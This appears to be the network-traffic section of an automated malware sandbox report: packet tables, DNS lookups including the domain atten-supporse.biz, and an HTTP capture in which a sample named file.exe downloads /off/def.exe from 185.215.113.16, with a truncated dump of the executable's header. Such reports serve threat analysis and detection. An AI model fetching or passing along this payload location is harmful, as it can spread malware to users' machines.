Nov 30, 2024 04:14:02.004147053 CET	443	50024	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:02.007667065 CET	443	50024	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:02.007730961 CET	50024	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:02.007824898 CET	50024	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:02.007842064 CET	443	50024	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:02.007852077 CET	50024	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:02.007858038 CET	443	50024	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:02.011055946 CET	50030	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:02.011070967 CET	443	50030	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:02.011159897 CET	50030	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:02.011337042 CET	50030	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:02.011349916 CET	443	50030	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:02.139075994 CET	443	50025	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:02.139839888 CET	50025	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:02.139879942 CET	443	50025	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:02.140333891 CET	50025	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:02.140341043 CET	443	50025	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:02.605571032 CET	443	50025	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:02.608639002 CET	443	50025	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:02.608721018 CET	50025	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:02.608748913 CET	50025	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:02.608767033 CET	443	50025	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:02.608779907 CET	50025	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:02.608786106 CET	443	50025	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:02.611644030 CET	50031	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:02.611680984 CET	443	50031	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:02.611752987 CET	50031	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:02.611910105 CET	50031	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:02.611921072 CET	443	50031	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:02.882658005 CET	443	50026	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:02.883187056 CET	50026	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:02.883223057 CET	443	50026	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:02.883656979 CET	50026	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:02.883661985 CET	443	50026	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.282727957 CET	443	50027	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.283430099 CET	50027	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:03.283459902 CET	443	50027	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.284408092 CET	50027	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:03.284415960 CET	443	50027	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.326653957 CET	443	50026	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.330172062 CET	443	50026	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.330223083 CET	443	50026	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.330291986 CET	50026	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:03.330363035 CET	50026	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:03.330379009 CET	443	50026	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.330389023 CET	50026	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:03.330394030 CET	443	50026	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.333456993 CET	50032	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:03.333504915 CET	443	50032	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.333579063 CET	50032	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:03.338848114 CET	50032	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:03.338866949 CET	443	50032	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.448414087 CET	443	50028	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.452328920 CET	50028	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:03.452348948 CET	443	50028	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.452832937 CET	50028	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:03.452838898 CET	443	50028	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.735671043 CET	443	50027	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.739187956 CET	443	50027	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.739407063 CET	50027	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:03.739841938 CET	50027	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:03.739856958 CET	443	50027	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.739870071 CET	50027	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:03.739875078 CET	443	50027	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.742871046 CET	50033	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:03.742914915 CET	443	50033	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.743004084 CET	50033	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:03.743248940 CET	50033	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:03.743263006 CET	443	50033	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.789474010 CET	443	50030	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.789938927 CET	50030	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:03.789952993 CET	443	50030	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.790437937 CET	50030	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:03.790442944 CET	443	50030	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.883560896 CET	443	50028	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.886712074 CET	443	50028	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.886751890 CET	443	50028	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.886809111 CET	50028	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:03.886895895 CET	50028	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:03.886921883 CET	443	50028	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.886953115 CET	50028	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:03.886960030 CET	443	50028	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.890013933 CET	50034	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:03.890049934 CET	443	50034	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.890146017 CET	50034	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:03.890345097 CET	50034	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:03.890358925 CET	443	50034	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:03.899151087 CET	50035	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:14:03.899184942 CET	443	50035	20.198.118.190	192.168.2.6
Nov 30, 2024 04:14:03.899261951 CET	50035	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:14:03.899909019 CET	50035	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:14:03.899924040 CET	443	50035	20.198.118.190	192.168.2.6
Nov 30, 2024 04:14:04.120120049 CET	443	50029	20.198.118.190	192.168.2.6
Nov 30, 2024 04:14:04.120203972 CET	50029	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:14:04.122025013 CET	50029	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:14:04.122030973 CET	443	50029	20.198.118.190	192.168.2.6
Nov 30, 2024 04:14:04.122256041 CET	443	50029	20.198.118.190	192.168.2.6
Nov 30, 2024 04:14:04.125679970 CET	50029	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:14:04.125734091 CET	50029	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:14:04.125739098 CET	443	50029	20.198.118.190	192.168.2.6
Nov 30, 2024 04:14:04.125863075 CET	50029	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:14:04.167344093 CET	443	50029	20.198.118.190	192.168.2.6
Nov 30, 2024 04:14:04.237101078 CET	443	50030	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:04.240195990 CET	443	50030	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:04.240284920 CET	50030	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:04.240860939 CET	50030	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:04.240876913 CET	443	50030	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:04.240888119 CET	50030	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:04.240897894 CET	443	50030	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:04.243678093 CET	50036	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:04.243711948 CET	443	50036	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:04.243773937 CET	50036	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:04.244057894 CET	50036	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:04.244067907 CET	443	50036	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:04.455590010 CET	443	50031	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:04.456089973 CET	50031	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:04.456104994 CET	443	50031	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:04.456558943 CET	50031	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:04.456564903 CET	443	50031	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:04.790034056 CET	443	50029	20.198.118.190	192.168.2.6
Nov 30, 2024 04:14:04.790115118 CET	443	50029	20.198.118.190	192.168.2.6
Nov 30, 2024 04:14:04.790199995 CET	50029	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:14:04.790409088 CET	50029	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:14:04.790425062 CET	443	50029	20.198.118.190	192.168.2.6
Nov 30, 2024 04:14:04.908670902 CET	443	50031	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:04.912086964 CET	443	50031	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:04.912137032 CET	443	50031	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:04.912190914 CET	50031	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:04.912339926 CET	50031	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:04.912360907 CET	443	50031	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:04.912383080 CET	50031	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:04.912388086 CET	443	50031	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:04.915081978 CET	50038	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:04.915107965 CET	443	50038	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:04.915172100 CET	50038	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:04.915544033 CET	50038	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:04.915553093 CET	443	50038	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:05.119905949 CET	443	50032	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:05.120496035 CET	50032	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:05.120522022 CET	443	50032	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:05.121071100 CET	50032	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:05.121077061 CET	443	50032	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:05.469293118 CET	443	50033	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:05.469995022 CET	50033	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:05.470021009 CET	443	50033	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:05.470458031 CET	50033	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:05.470464945 CET	443	50033	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:05.571482897 CET	443	50032	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:05.571667910 CET	443	50032	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:05.571805954 CET	50032	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:05.571867943 CET	50032	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:05.571886063 CET	443	50032	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:05.571898937 CET	50032	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:05.571904898 CET	443	50032	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:05.574991941 CET	50039	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:05.575031042 CET	443	50039	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:05.575284004 CET	50039	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:05.575457096 CET	50039	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:05.575472116 CET	443	50039	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:05.761404037 CET	443	50034	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:05.761955976 CET	50034	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:05.761967897 CET	443	50034	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:05.762561083 CET	50034	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:05.762566090 CET	443	50034	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:05.905200005 CET	443	50033	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:05.905260086 CET	443	50033	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:05.906007051 CET	50033	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:05.906059980 CET	50033	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:05.906070948 CET	443	50033	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:05.909137011 CET	50040	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:05.909188032 CET	443	50040	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:05.909255981 CET	50040	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:05.909487009 CET	50040	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:05.909501076 CET	443	50040	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:06.115533113 CET	443	50036	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:06.116071939 CET	50036	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:06.116095066 CET	443	50036	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:06.116636038 CET	50036	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:06.116641998 CET	443	50036	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:06.171576977 CET	443	50035	20.198.118.190	192.168.2.6
Nov 30, 2024 04:14:06.171649933 CET	50035	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:14:06.174122095 CET	50035	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:14:06.174128056 CET	443	50035	20.198.118.190	192.168.2.6
Nov 30, 2024 04:14:06.174371958 CET	443	50035	20.198.118.190	192.168.2.6
Nov 30, 2024 04:14:06.175966978 CET	50035	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:14:06.176053047 CET	50035	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:14:06.176059008 CET	443	50035	20.198.118.190	192.168.2.6
Nov 30, 2024 04:14:06.176211119 CET	50035	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:14:06.214405060 CET	443	50034	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:06.217700005 CET	443	50034	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:06.218837023 CET	50034	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:06.218933105 CET	50034	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:06.218946934 CET	443	50034	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:06.218971014 CET	50034	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:06.218976974 CET	443	50034	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:06.219337940 CET	443	50035	20.198.118.190	192.168.2.6
Nov 30, 2024 04:14:06.221961975 CET	50041	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:06.222007990 CET	443	50041	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:06.222095013 CET	50041	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:06.222301960 CET	50041	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:06.222322941 CET	443	50041	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:06.568228960 CET	443	50036	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:06.571706057 CET	443	50036	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:06.571752071 CET	443	50036	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:06.571768045 CET	50036	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:06.571804047 CET	50036	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:06.571942091 CET	50036	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:06.571952105 CET	443	50036	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:06.574860096 CET	50042	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:06.574887991 CET	443	50042	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:06.574949026 CET	50042	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:06.575156927 CET	50042	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:06.575166941 CET	443	50042	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:06.704255104 CET	443	50038	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:06.704806089 CET	50038	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:06.704814911 CET	443	50038	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:06.705481052 CET	50038	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:06.705485106 CET	443	50038	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:06.849375963 CET	443	50035	20.198.118.190	192.168.2.6
Nov 30, 2024 04:14:06.849455118 CET	443	50035	20.198.118.190	192.168.2.6
Nov 30, 2024 04:14:06.849880934 CET	50035	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:14:06.849895954 CET	443	50035	20.198.118.190	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 30, 2024 04:12:01.042532921 CET	53769	53	192.168.2.6	1.1.1.1
Nov 30, 2024 04:12:01.183259010 CET	53	53769	1.1.1.1	192.168.2.6
Nov 30, 2024 04:12:35.413451910 CET	53	51853	1.1.1.1	192.168.2.6
Nov 30, 2024 04:12:35.849633932 CET	53	64545	1.1.1.1	192.168.2.6
Nov 30, 2024 04:12:38.659985065 CET	53	56259	1.1.1.1	192.168.2.6
Nov 30, 2024 04:12:39.601265907 CET	61901	53	192.168.2.6	1.1.1.1
Nov 30, 2024 04:12:39.601520061 CET	50345	53	192.168.2.6	1.1.1.1
Nov 30, 2024 04:12:39.738787889 CET	53	50345	1.1.1.1	192.168.2.6
Nov 30, 2024 04:12:39.738804102 CET	53	61901	1.1.1.1	192.168.2.6
Nov 30, 2024 04:12:42.355195999 CET	57028	53	192.168.2.6	1.1.1.1
Nov 30, 2024 04:12:42.355390072 CET	63853	53	192.168.2.6	1.1.1.1
Nov 30, 2024 04:12:51.387489080 CET	53	55441	1.1.1.1	192.168.2.6
Nov 30, 2024 04:12:52.080801010 CET	64596	53	192.168.2.6	1.1.1.1
Nov 30, 2024 04:12:52.081007957 CET	64874	53	192.168.2.6	1.1.1.1
Nov 30, 2024 04:12:55.775665045 CET	53	60743	1.1.1.1	192.168.2.6
Nov 30, 2024 04:13:14.504795074 CET	53	65048	1.1.1.1	192.168.2.6
Nov 30, 2024 04:13:35.083756924 CET	53	53477	1.1.1.1	192.168.2.6
Nov 30, 2024 04:13:37.519118071 CET	53	51599	1.1.1.1	192.168.2.6
Nov 30, 2024 04:14:05.549015999 CET	53	59118	1.1.1.1	192.168.2.6

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 30, 2024 04:12:42.943727016 CET	192.168.2.6	1.1.1.1	c2c3	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 30, 2024 04:12:01.042532921 CET	192.168.2.6	1.1.1.1	0x9c83	Standard query (0)	atten-supporse.biz	A (IP address)	IN (0x0001)	false
Nov 30, 2024 04:12:39.601265907 CET	192.168.2.6	1.1.1.1	0x4571	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 04:12:39.601520061 CET	192.168.2.6	1.1.1.1	0xd800	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 30, 2024 04:12:42.355195999 CET	192.168.2.6	1.1.1.1	0x7e1d	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 04:12:42.355390072 CET	192.168.2.6	1.1.1.1	0xe530	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 30, 2024 04:12:52.080801010 CET	192.168.2.6	1.1.1.1	0x7d70	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 30, 2024 04:12:52.081007957 CET	192.168.2.6	1.1.1.1	0x9d88	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 30, 2024 04:12:01.183259010 CET	1.1.1.1	192.168.2.6	0x9c83	No error (0)	atten-supporse.biz		104.21.16.9	A (IP address)	IN (0x0001)	false
Nov 30, 2024 04:12:01.183259010 CET	1.1.1.1	192.168.2.6	0x9c83	No error (0)	atten-supporse.biz		172.67.165.166	A (IP address)	IN (0x0001)	false
Nov 30, 2024 04:12:39.738787889 CET	1.1.1.1	192.168.2.6	0xd800	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 30, 2024 04:12:39.738804102 CET	1.1.1.1	192.168.2.6	0x4571	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 30, 2024 04:12:42.493594885 CET	1.1.1.1	192.168.2.6	0x7e1d	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 04:12:42.493594885 CET	1.1.1.1	192.168.2.6	0x7e1d	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 04:12:42.493594885 CET	1.1.1.1	192.168.2.6	0x7e1d	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 04:12:42.493594885 CET	1.1.1.1	192.168.2.6	0x7e1d	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 30, 2024 04:12:42.748826981 CET	1.1.1.1	192.168.2.6	0x5c73	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 04:12:42.806082964 CET	1.1.1.1	192.168.2.6	0x262e	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 04:12:42.806082964 CET	1.1.1.1	192.168.2.6	0x262e	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 04:12:42.806082964 CET	1.1.1.1	192.168.2.6	0x262e	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 30, 2024 04:12:42.943612099 CET	1.1.1.1	192.168.2.6	0xe530	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 04:12:42.943612099 CET	1.1.1.1	192.168.2.6	0xe530	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 04:12:45.660782099 CET	1.1.1.1	192.168.2.6	0xda3e	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 04:12:45.660782099 CET	1.1.1.1	192.168.2.6	0xda3e	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 04:12:45.660782099 CET	1.1.1.1	192.168.2.6	0xda3e	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 30, 2024 04:12:45.661112070 CET	1.1.1.1	192.168.2.6	0x4540	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 04:12:52.460062981 CET	1.1.1.1	192.168.2.6	0x9d88	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 04:12:52.493473053 CET	1.1.1.1	192.168.2.6	0x7d70	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

atten-supporse.biz

otelrules.azureedge.net

slscr.update.microsoft.com

https:

js.monitor.azure.com

wcpstatic.microsoft.com

fs.microsoft.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49745	185.215.113.16	80	4344	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 04:12:24.015873909 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 30, 2024 04:12:25.389494896 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 03:12:25 GMT Content-Type: application/octet-stream Content-Length: 2765824 Last-Modified: Sat, 30 Nov 2024 03:03:30 GMT Connection: keep-alive ETag: "674a8082-2a3400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2a 00 00 04 00 00 b9 3a 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ :`Ui` @ @.rsrc`2@.idata 8@xbmfzvhb)):@ztggrlpz *@.taggant@"*@
